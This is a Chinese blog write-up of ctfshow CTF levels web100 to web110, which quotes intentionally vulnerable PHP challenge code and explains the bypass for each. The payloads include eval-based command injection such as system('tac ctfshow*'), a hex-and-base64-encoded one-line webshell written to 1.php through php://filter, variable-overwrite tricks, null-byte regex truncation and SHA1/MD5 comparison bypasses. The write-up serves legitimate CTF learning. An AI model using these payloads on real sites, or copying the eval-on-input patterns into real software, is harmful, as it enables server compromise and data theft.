【ctfshow】PHP特性2

目录

        web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110


 web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
  • &&和and优先级不一样

&& > || > = > and > or 

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
  •  is_numeric()函数 检测是否为数字或字符串

我们只要让v1等于数字就可以进入循环

  • v2没分号,v3有分号

/?v1=1&v2=system('tac ctfshow*')&v3=;

/?v1=1&v2=var_dump($ctfshow)&v3=;

  • var_dump()此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。 

 0x2d 转换为ascii码是-

两个小细节(关于我自己):几个get同时提交用&,system(' ') 捕获

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

 /?v1=1&v2=echo new ReflectionClass&v3=;

提交不了,发现提示少了一位。那就拿bp爆破,得出最后一个字母是7 

 对反射类的了解

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
  • 利用v2传入 一句话木马的hex编码,并且在头部加上两个数字。 v1 传入hex2bin函数名。利用call_user_func 转为木马。 同时,v3传入 文件名。用file_put_contents 写入 木马。
  • 为了让webshell传进去的是数字,我们应先将一句话转为base64,再讲base64转16进制
  • 构造一句话 

$a='<?=`cat *`;';        //这里虽然``反引号无回显,但是短标签自带echo,读取所有的目录
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64

<?php ?>与<?= ?>等价

system与``是等价的

<?=`cat *`;相当于<?php system('ls');?>这种写法没有空格也没有php,可以绕过一些过滤

说明:<?=是php的短标签,是echo()的快捷用法 

  • 为什么这么做?

因为base64的编码范围 a-z  A-Z 0-9 /=  这些字符经过16进制编码后为大部分为数字(基本都在ascii码范围内),属于数字字符串,所以有机会绕过。 如果中间有 字母e,那么完全会被is_numberic 当成 科学计数法!!! 

  • substr ($str,$n)

    返回 指定的字符串str  从n往后的字符串.所以前面补两位任意函数

get:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
  • call_user_func — 把第一个参数作为回调函数调用
  • hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制
  • file_put_contents ()向指定文件写入内容

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

$str不是能按php顺序的所有字符

没什么影响,和web102一样 

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

直接传入两个相同的数 

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

这是一道变量覆盖问题,通过变量覆盖使得$ error 或$suces为flag都能成功。

die($error);
//payload: get:a=flag  post: error=a
//此时if(!($_POST['flag']==$flag))执行成功

首先我们把$flag的值传给$a,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag 

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 
  • sha1()函数无法处理数组类型,将报错并返回false
  • sha1相等但是值不相等的:

aaroZmOk   aaK1STfY   aaO8zKZF   aa3OFF9m

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str()函数,将第一个变量内容识别,以数组的形式存在第二个变量中

<?php
parse_str("v1=111&v2=222",$arry);
var_dump($arry);
/**
 * array(2) {
["v1"]=>
string(3) "111"
["v2"]=>
string(3) "222"
}
 */

因为md5返回数组为空,所以v1也可传入一个空值。

v3[]=2   v1= 

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

ereg %00正则截断 

  • strrev:反串字符串和数字

<?php echo strrev("I love Shanghai!"); ?>

echo !iahgnahS evol I  

  • intval() 获取变量的整数值 

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

/?c=a%00778

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

看大佬文章

  • 通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()

/?v1=Exception&v2=system('ls')

 /?v1=Exception&v2=system('tac fl36dg.txt') 

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

 FilesystemIterator 获取指定目录下的所有文件

getcwd()函数 获取当前工作目录

echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历

/?v1=FilesystemIterator&v2=getcwd

访问出现的文件即可

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值